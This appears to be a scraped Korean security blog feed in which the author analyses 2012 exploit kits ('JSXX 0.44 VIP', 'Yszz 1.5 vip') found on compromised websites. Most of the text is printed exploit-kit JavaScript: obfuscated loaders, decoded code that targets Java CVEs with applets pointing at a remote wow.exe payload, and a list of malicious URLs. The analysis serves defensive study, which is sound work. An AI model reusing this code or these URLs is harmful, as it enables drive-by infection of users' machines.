{FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7(\u0026#39;0x\u0026#39;+MFQtpFx8.toString(CWzT5\u0026lt;\u0026lt;4).substr(FTUbVy5,2))+dAgicOq5;if(\\/^(\\\\d{4})\\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6(\u0026#39;x\u0026#39;)+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}TEST.TEST.value = MIVW7;try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location=\u0026#39;.\u0026#39;;}}}try{XtpkDF6(\u0026#39;oXaWE4();\u0026#39;)}catch(e) {try{SaDSocN2=wjja6;XtpkDF6(\u0026#39;oXaWE4();\u0026#39;);}catch(e){alert(\u0026#39;ere\u0026#39;);}}\u0026#34;); kMOKHlj1 = XtpkDF6(XtpkDF6); kMOKHlj1(RWmFSCq4); \u0026lt;/script\u0026gt; 이하 디코딩 결과 입니다. 위 코드를 이용해 디코딩 하면 텍스트박스에 디코딩된 결과가 나옴을 알 수 있습니다. 대부분 자바 취약점이네요. 자바를 안깔수도 없고............\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 VgrlQrX6=tXjYRI7;QJptBA8=VJHEC7(20100418);while(window.closed){}document.write(\u0026#34;\u0026lt;br\u0026gt;\u0026#34;); var gondady=document.createElement(\u0026#39;body\u0026#39;); document.body.appendChild(gondady); var gondadx=deployJava.getJREs()+\u0026#34;\u0026#34;; var arrx=gondadx.split(\u0026#34;,\u0026#34;); gondadx=parseInt(arrx[0].replace(/\\.|\\_/g,\u0026#39;\u0026#39;)); for(i=1;i\u0026lt;arrx.length;i++) { tmp=parseInt(arrx[i].replace(/\\.|\\_/g,\u0026#39;\u0026#39;)); if (gondadx\u0026lt;tmp) gondadx=tmp; } if ((gondadx\u0026lt;=17007 \u0026amp;\u0026amp; gondadx\u0026gt;=17000) || (gondadx\u0026lt;=16032 \u0026amp;\u0026amp; gondadx\u0026gt;=16000) || (gondadx\u0026lt;=15033 \u0026amp;\u0026amp; gondadx\u0026gt;=15000)) { var gondad = document.createElement(\u0026#39;applet\u0026#39;); gondad.width=\u0026#34;1\u0026#34;; gondad.height=\u0026#34;1\u0026#34;; if((gondadx\u0026lt;=16027 \u0026amp;\u0026amp; gondadx\u0026gt;=16000) || (gondadx\u0026gt;=15000 \u0026amp;\u0026amp; gondadx\u0026lt;=15031)) { gondad.archive=\u0026#34;GAHNr0.jpg\u0026#34;; gondad.code=\u0026#34;GondadGondadExp.class\u0026#34;; gondad.setAttribute(\u0026#34;dota\u0026#34;,\u0026#34;http://www.blackteab.com/kor/wow.exe\u0026#34;); document.body.appendChild(gondad); } else if ((gondadx\u0026lt;=17002 \u0026amp;\u0026amp; gondadx\u0026gt;=17000) || (gondadx\u0026lt;=16030 \u0026amp;\u0026amp; gondadx\u0026gt;=16000) || (gondadx\u0026lt;=15033 \u0026amp;\u0026amp; gondadx\u0026gt;=15000)) { gondad.archive=\u0026#34;SbtfYCq2.jpg\u0026#34;; gondad.code=\u0026#34;GondadExx.Ohno.class\u0026#34;; gondad.setAttribute(\u0026#34;xiaomaolv\u0026#34;,\u0026#34;http://www.blackteab.com/kor/wow.exe\u0026#34;); gondad.setAttribute(\u0026#34;bn\u0026#34;,\u0026#34;woyouyizhixiaomaolv\u0026#34;); gondad.setAttribute(\u0026#34;si\u0026#34;,\u0026#34;conglaiyebuqi\u0026#34;); gondad.setAttribute(\u0026#34;bs\u0026#34;,\u0026#34;748\u0026#34;); document.body.appendChild(gondad); } else if ((gondadx\u0026lt;=17003 \u0026amp;\u0026amp; gondadx\u0026gt;=17000) || (gondadx\u0026lt;=16032 \u0026amp;\u0026amp; gondadx\u0026gt;=16000) || (gondadx\u0026lt;=15032 \u0026amp;\u0026amp; gondadx\u0026gt;=15000)) { gondad.archive=\u0026#34;gcPVwdT7.jpg\u0026#34;; gondad.code=\u0026#34;gond1723.Gondattack.class\u0026#34;; gondad.setAttribute(\u0026#34;xiaomaolv\u0026#34;,\u0026#34;http://www.blackteab.com/kor/wow.exe\u0026#34;); gondad.setAttribute(\u0026#34;bn\u0026#34;,\u0026#34;woyouyizhixiaomaolv\u0026#34;); gondad.setAttribute(\u0026#34;si\u0026#34;,\u0026#34;conglaiyebuqi\u0026#34;); gondad.setAttribute(\u0026#34;bs\u0026#34;,\u0026#34;748\u0026#34;); document.body.appendChild(gondad); } else if (gondadx\u0026lt;=17006 \u0026amp;\u0026amp; gondadx\u0026gt;=17000) { var cxusz8 = window.navigator.userAgent.toLowerCase(); if (cxusz8.indexOf(\u0026#39;msie 6\u0026#39;) \u0026gt; -1) { document.write(\u0026#34;\u0026lt;OBJECT classid=\u0026#39;clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\u0026#39; width=\u0026#39;200\u0026#39; height=\u0026#39;200\u0026#39;\u0026gt;\u0026lt;param name=xiaomaolv value= \u0026#39;http://www.blackteab.com/kor/wow.exe\u0026#39;\u0026gt;\u0026lt;param name=bn value= \u0026#39;woyouyizhixiaomaolv\u0026#39;\u0026gt;\u0026lt;param name=si value= \u0026#39;conglaiyebuqi\u0026#39;\u0026gt;\u0026lt;param name=bs value= \u0026#39;748\u0026#39;\u0026gt;\u0026lt;param name=CODE value= \u0026#39;cve2012xxxx.Gondvv.class\u0026#39;\u0026gt;\u0026lt;param name=archive value= \u0026#39;JhQE2.jpg\u0026#39;\u0026gt;\u0026lt;/OBJECT\u0026gt;\u0026#34;); } else { gondad.archive=\u0026#34;JhQE2.jpg\u0026#34;; gondad.code=\u0026#34;cve2012xxxx.Gondvv.class\u0026#34;; gondad.setAttribute(\u0026#34;xiaomaolv\u0026#34;,\u0026#34;http://www.blackteab.com/kor/wow.exe\u0026#34;); gondad.setAttribute(\u0026#34;bn\u0026#34;,\u0026#34;woyouyizhixiaomaolv\u0026#34;); gondad.setAttribute(\u0026#34;si\u0026#34;,\u0026#34;conglaiyebuqi\u0026#34;); gondad.setAttribute(\u0026#34;bs\u0026#34;,\u0026#34;748\u0026#34;); document.body.appendChild(gondad); } } else if (gondadx\u0026lt;=17007 \u0026amp;\u0026amp; gondadx\u0026gt;=17000) { var cxusz8 = window.navigator.userAgent.toLowerCase(); if (cxusz8.indexOf(\u0026#39;msie 6\u0026#39;) \u0026gt; -1) { document.write(\u0026#34;\u0026lt;OBJECT classid=\u0026#39;clsid:8AD9C840-044E-11D1-B3E9-00805F499D93\u0026#39; width=\u0026#39;200\u0026#39; height=\u0026#39;200\u0026#39;\u0026gt;\u0026lt;param name=xiaomaolv value= \u0026#39;http://www.blackteab.com/kor/wow.exe\u0026#39;\u0026gt;\u0026lt;param name=bn value= \u0026#39;woyouyizhixiaomaolv\u0026#39;\u0026gt;\u0026lt;param name=si value= \u0026#39;conglaiyebuqi\u0026#39;\u0026gt;\u0026lt;param name=bs value= \u0026#39;748\u0026#39;\u0026gt;\u0026lt;param name=CODE value= \u0026#39;gond20125076.Gondqq.class\u0026#39;\u0026gt;\u0026lt;param name=archive value= \u0026#39;OuIQfGP7.jpg\u0026#39;\u0026gt;\u0026lt;/OBJECT\u0026gt;\u0026#34;); } else { gondad.archive=\u0026#34;OuIQfGP7.jpg\u0026#34;; gondad.code=\u0026#34;gond20125076.Gondqq.class\u0026#34;; gondad.setAttribute(\u0026#34;xiaomaolv\u0026#34;,\u0026#34;http://www.blackteab.com/kor/wow.exe\u0026#34;); gondad.setAttribute(\u0026#34;bn\u0026#34;,\u0026#34;woyouyizhixiaomaolv\u0026#34;); gondad.setAttribute(\u0026#34;si\u0026#34;,\u0026#34;conglaiyebuqi\u0026#34;); gondad.setAttribute(\u0026#34;bs\u0026#34;,\u0026#34;748\u0026#34;); document.body.appendChild(gondad); } } } else { /* if(pxtXtt1[\u0026#39;major\u0026#39;]==11 \u0026amp;\u0026amp; pxtXtt1[\u0026#39;minor\u0026#39;]\u0026lt;=3 \u0026amp;\u0026amp; pxtXtt1[\u0026#39;rev\u0026#39;]\u0026lt;=300 \u0026amp;\u0026amp; pxtXtt1[\u0026#39;gondad\u0026#39;]\u0026lt;= 270){ document.writeln(\u0026#34;\u0026lt;img src=gxfdU3.swf\u0026gt;\u0026lt;\\/img\u0026gt;\u0026#34;); setTimeout(\u0026#34;document.writeln(\\\u0026#34;\u0026lt;embed width=100 height=0 src=gxfdU3.swf\u0026gt;\u0026lt;\\\\/embed\u0026gt;\\\u0026#34;);\u0026#34;,2000); } else{ */ var cxusz8 = window.navigator.userAgent.toLowerCase(); if ((cxusz8.indexOf(\u0026#39;msie 6\u0026#39;) \u0026gt; -1)||(cxusz8.indexOf(\u0026#39;msie 7\u0026#39;) \u0026gt; -1)) { document.writeln(\u0026#34;\u0026lt;iframe src=jvTDIYE7.html\u0026gt;\u0026lt;\\/iframe\u0026gt;\u0026#34;); } else if((cxusz8.indexOf(\u0026#39;msie 8\u0026#39;) \u0026gt; -1) \u0026amp;\u0026amp; (navigator.userAgent.indexOf(\u0026#39;Windows NT 5.1\u0026#39;) \u0026gt; -1) \u0026amp;\u0026amp; (navigator.browserLanguage.indexOf(\u0026#39;ko\u0026#39;) \u0026gt; -1)){ document.writeln(\u0026#34;\u0026lt;iframe src=GAHNr0.html\u0026gt;\u0026lt;\\/iframe\u0026gt;\u0026#34;); } //} } ; delete RWmFSCq4; delete oXaWE4; delete DCIdlr1; delete GlMOH7; delete DPoxzP3; delete wjja6; delete CWzT5; delete qoviH2; delete MFQtpFx8; delete MIVW7; delete LsVQeA3; delete fqOgoGw6; delete QykQ0; delete tXjYRI7; delete XtpkDF6; delete kMOKHlj1; delete aoiGBd6; delete dAgicOq5; delete HMnSSeB1; delete VJHEC7; delete QJptBA8; delete MkLrgDe3; delete SaDSocN2; delete VgrlQrX6; delete VGlAAd2; delete FTUbVy5; delete FTYdkdd0; delete Huaqmm1; delete VWuRgV2; delete Gmxp3; delete CzhglW8; delete WpJlLy2; delete icOoJTM3; delete HkRA4; delete PSfHgU3; delete QSsht2; delete OdPzt4; delete pnnTGA0; delete gUJkkMO4; delete xWgFI8; try{CollectGarbage();}catch(e){} 최종 다운로드 되는 파일은 아래 파일 입니다. https://www.virustotal.com/file/d437a2f101842779f336a6943238d645618ac46c75a33dacd823f1891a76d8fb/analysis/1356215227/\n","date":"2012-12-22T22:22:37Z","permalink":"/2012/12/22/jsxx-044-vip/","title":"JSXX 0.44 VIP"},{"content":"오랜만에 보여서 한번 살펴봤는데 예전과 많이 달라져서 기록해 둔다.\n1 2 3 4 5 6 7 8 9 10 11 http://festival.cocobau.com/adm_site/e_show/e_th_ad.js L http://205.164.25.148/pic/img.js L http://205.164.25.148/pic/img.html L http://205.164.25.148/pic/XLL0zxmA.jpg (CVE?) L http://205.164.25.148/pic/rKQeVOG.jpg (CVE-2011-3544) L http://205.164.25.148/pic/9O4v7e.html (CVE-2011-1255) L http://205.164.25.148/pic/yNDGhP.js L http://205.164.25.148/pic/bmrYt.html (CVE-2012-1889) L http://205.164.25.148/pic/swfobject.js L http://205.164.25.148/pic/jpg.js L http://205.164.25.148/pic/css.html img.html 파일을 디코딩 해보도록 하자. \u0026quot;Yszz 1.5 vip\u0026quot; 라는 주석이 들어가는게 특징으로 보인다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;swfobject.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=jpg.js\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script language =javascript\u0026gt; var K4Er = \u0026#34;%\u0026#34;; var MDIxo=K4Er+\u0026#34;78\u0026#34;+K4Er+\u0026#34;6F\u0026#34;; var OIai8=K4Er+\u0026#34;78\u0026#34;+K4Er+\u0026#34;6F\u0026#34;+K4Er+\u0026#34;31\u0026#34;; var HHYWv=K4Er+\u0026#34;31\u0026#34;+\u0026#34;%59\u0026#34;+\u0026#34;%53\u0026#34;; var CvXWz=K4Er+\u0026#34;7A\u0026#34;+\u0026#34;%7A\u0026#34;+\u0026#34;%31\u0026#34;; var JZyjl=\u0026#34;%31\u0026#34;+\u0026#34;%6F\u0026#34;+\u0026#34;%78\u0026#34;; var ERb7H=\u0026#34;%6F\u0026#34;+\u0026#34;%78\u0026#34;; var XGpwn2 =MDIxo+OIai8+HHYWv+CvXWz+JZyjl+ERb7H,AVgHbu2f=unescape,Cn6T4bG0znIi=\u0026#34;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\u0026#34;,HUx2Ydz=\u0026#34;%64\u0026#34;+\u0026#34;%6f\u0026#34;+\u0026#34;%63\u0026#34;+\u0026#34;%75\u0026#34;+\u0026#34;%6d\u0026#34;+\u0026#34;%65\u0026#34;+\u0026#34;%6e\u0026#34;+\u0026#34;%74\u0026#34;,sac5pxhFS=\u0026#34;%77\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%69\u0026#34;+\u0026#34;%74\u0026#34;+\u0026#34;%65\u0026#34;,ubo8KLEZHIPX2; var kxin1s = \u0026#34;%53\u0026#34;+\u0026#34;%74\u0026#34;+\u0026#34;%72\u0026#34;; var B83pNx = kxin1s+\u0026#34;%69\u0026#34;+\u0026#34;%6e\u0026#34;+\u0026#34;%67\u0026#34;; var kxin2s = \u0026#34;%66\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%6f\u0026#34;; var kxin3s = \u0026#34;%6d\u0026#34;+\u0026#34;%43\u0026#34;+\u0026#34;%68\u0026#34;; var kxin4s = \u0026#34;%61\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%43\u0026#34;; var kxin5s = \u0026#34;%6f\u0026#34;+\u0026#34;%64\u0026#34;+\u0026#34;%65\u0026#34;; var WjuQFO = kxin2s+kxin3s+kxin4s+kxin5s; var fxTmFiR = AVgHbu2f(B83pNx); var xZW9RVt = AVgHbu2f(WjuQFO); var sATWUn = \u0026#34;%41\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%61\u0026#34;+\u0026#34;%79\u0026#34;; var x83QqGV = AVgHbu2f(sATWUn); var SnDN8 = \u0026#34;%73\u0026#34;+\u0026#34;%74\u0026#34;+\u0026#34;%72\u0026#34;; var Z0b9A = \u0026#34;%63\u0026#34;+\u0026#34;%68\u0026#34;+\u0026#34;%61\u0026#34;+\u0026#34;%72\u0026#34;+\u0026#34;%43\u0026#34;+\u0026#34;%6f\u0026#34;+\u0026#34;%64\u0026#34;+\u0026#34;%65\u0026#34;+\u0026#34;%41\u0026#34;+\u0026#34;%74\u0026#34;; var fkPj5 = AVgHbu2f(SnDN8); var hyYQ8 = AVgHbu2f(Z0b9A); function tzWmUni(str){var out,i,len,c;var char2,char3;out=[];len=str.length;i=0;while(i\u0026lt;len){c=fkPj5[hyYQ8](i++);switch(c\u0026gt;\u0026gt;4) {case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:out[out.length]=str.charAt(i-1);break;case 12:case 13:char2=fkPj5[hyYQ8](i++);out[out.length]=window[fxTmFiR][xZW9RVt](((c\u0026amp;0x1F)\u0026lt;\u0026lt;6)|(char2\u0026amp;0x3F));break;case 14:char2=fkPj5[hyYQ8](i++);char3=fkPj5[hyYQ8](i++);out[out.length]=window[fxTmFiR][xZW9RVt](((c\u0026amp;0x0F)\u0026lt;\u0026lt;12)|((char2\u0026amp;0x3F)\u0026lt;\u0026lt;6)|((char3\u0026amp;0x3F)\u0026lt;\u0026lt;0));break;}} return out.join(\u0026#39;\u0026#39;);} var ZjykejU6Chars=new window[x83QqGV](-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1); HUx2Ydz=AVgHbu2f(HUx2Ydz); function ZjykejU6(str) {var YS1,YS2,YS3,YS4;/*Yszz 1.5 vip*/var i,len,out; len=str.length;i=0;out = \u0026#34;\u0026#34;; while(i\u0026lt;len) {do{YS1=ZjykejU6Chars[str.charCodeAt(i++)\u0026amp;0xff]}while(i\u0026lt;len\u0026amp;\u0026amp;YS1==-1); if(YS1==-1) break;do{YS2=ZjykejU6Chars[str.charCodeAt(i++)\u0026amp;0xff]}while(i\u0026lt;len\u0026amp;\u0026amp;YS2==-1); if(YS2==-1) break;out+=window[fxTmFiR][xZW9RVt]((YS1\u0026lt;\u0026lt;2)|((YS2\u0026amp;0x30)\u0026gt;\u0026gt;4)); do{YS3=str.charCodeAt(i++)\u0026amp;0xff;if(YS3==61) return out; YS3=ZjykejU6Chars[YS3]}while(i\u0026lt;len\u0026amp;\u0026amp;YS3==-1); if(YS3==-1) break;out+=window[fxTmFiR][xZW9RVt](((YS2\u0026amp;0XF)\u0026lt;\u0026lt;4)|((YS3\u0026amp;0x3C)\u0026gt;\u0026gt;2)); do{YS4=str.charCodeAt(i++)\u0026amp;0xff;if(YS4==61) return out;YS4=ZjykejU6Chars[YS4]}while(i\u0026lt;len\u0026amp;\u0026amp;YS4==-1);if(YS4==-1) break;out+=window[fxTmFiR][xZW9RVt](((YS3\u0026amp;0x03)\u0026lt;\u0026lt;6)|YS4)} return out} function long2str(v,w){var vl=v.length;var sl=v[vl-1]\u0026amp;0xffffffff;for(var i=0;i\u0026lt;vl;i++) {v[i]=window[fxTmFiR][xZW9RVt](v[i]\u0026amp;0xff,v[i]\u0026gt;\u0026gt;\u0026gt;8\u0026amp;0xff,v[i]\u0026gt;\u0026gt;\u0026gt;16\u0026amp;0xff,v[i]\u0026gt;\u0026gt;\u0026gt;24\u0026amp;0xff);} if(w){return v.join(\u0026#39;\u0026#39;).substring(0,sl);} else{return v.join(\u0026#39;\u0026#39;);}} function str2long(s,w){var len=s.length;var v=[];for(var i=0;i\u0026lt;len;i+=4) {v[i\u0026gt;\u0026gt;2]=s.charCodeAt(i)|s.charCodeAt(i+1)\u0026lt;\u0026lt;8|s.charCodeAt(i+2)\u0026lt;\u0026lt;16|s.charCodeAt(i+3)\u0026lt;\u0026lt;24;} if(w){v[v.length]=len;} return v;} ubo8KLEZHIPX2=AVgHbu2f(XGpwn2); function kaixin(str,Udkz){if(str==\u0026#34;\u0026#34;){return\u0026#34;\u0026#34;;} var v=str2long(str,false);var k=str2long(Udkz,false);var n=v.length-1;var z=v[n-1],y=v[0],delta=0x9E3779B9;var mx,e,q=Math.floor(6+52/(n+1)),sum=q*delta\u0026amp;0xffffffff;while(sum!=0){e=sum\u0026gt;\u0026gt;\u0026gt;2\u0026amp;3;for(var p=n;p\u0026gt;0;p--){z=v[p-1];mx=(z\u0026gt;\u0026gt;\u0026gt;5^y\u0026lt;\u0026lt;2)+(y\u0026gt;\u0026gt;\u0026gt;3^z\u0026lt;\u0026lt;4)^(sum^y)+(k[p\u0026amp;3^e]^z);y=v[p]=v[p]-mx\u0026amp;0xffffffff;} z=v[n];mx=(z\u0026gt;\u0026gt;\u0026gt;5^y\u0026lt;\u0026lt;2)+(y\u0026gt;\u0026gt;\u0026gt;3^z\u0026lt;\u0026lt;4)^(sum^y)+(k[p\u0026amp;3^e]^z);y=v[0]=v[0]-mx\u0026amp;0xffffffff;sum=sum-delta\u0026amp;0xffffffff;} return long2str(v,true);} sac5pxhFS=AVgHbu2f(sac5pxhFS); JS0W=Cn6T4bG0znIi; JS0W=tzWmUni(kaixin(ZjykejU6(JS0W), ubo8KLEZHIPX2)); window[HUx2Ydz][sac5pxhFS] (JS0W); \u0026lt;/script\u0026gt; 위는 원본 코드이고 디코딩을 하려면 복잡해 보이지면 결국 JS0W 내용만 보면 될것으로 보이므로 마지막을 아래와 같이 변경한다.\n1 window[HUx2Ydz][sac5pxhFS] (JS0W); ==\u0026gt; alert(JS0W); 아래는 디코딩 된 결과이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; var RWkTTC8=navigator.userAgent.toLowerCase(); if(document.cookie.indexOf(\u0026#34;Udz1szV=\u0026#34;)==-1 \u0026amp;\u0026amp; RWkTTC8.indexOf(\u0026#34;bot\u0026#34;)==-1 \u0026amp;\u0026amp; RWkTTC8.indexOf(\u0026#34;spider\u0026#34;)==-1 \u0026amp;\u0026amp; RWkTTC8.indexOf(\u0026#34;linux\u0026#34;)==-1) { var jHiJb2=deconcept.SWFObjectUtil.getPlayerVersion(); var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie=\u0026#34;Udz1szV=Yes;path=/;expires=\u0026#34;+expires.toGMTString(); var kaixiny=document.createElement(\u0026#39;body\u0026#39;); document.body.appendChild(kaixiny); var 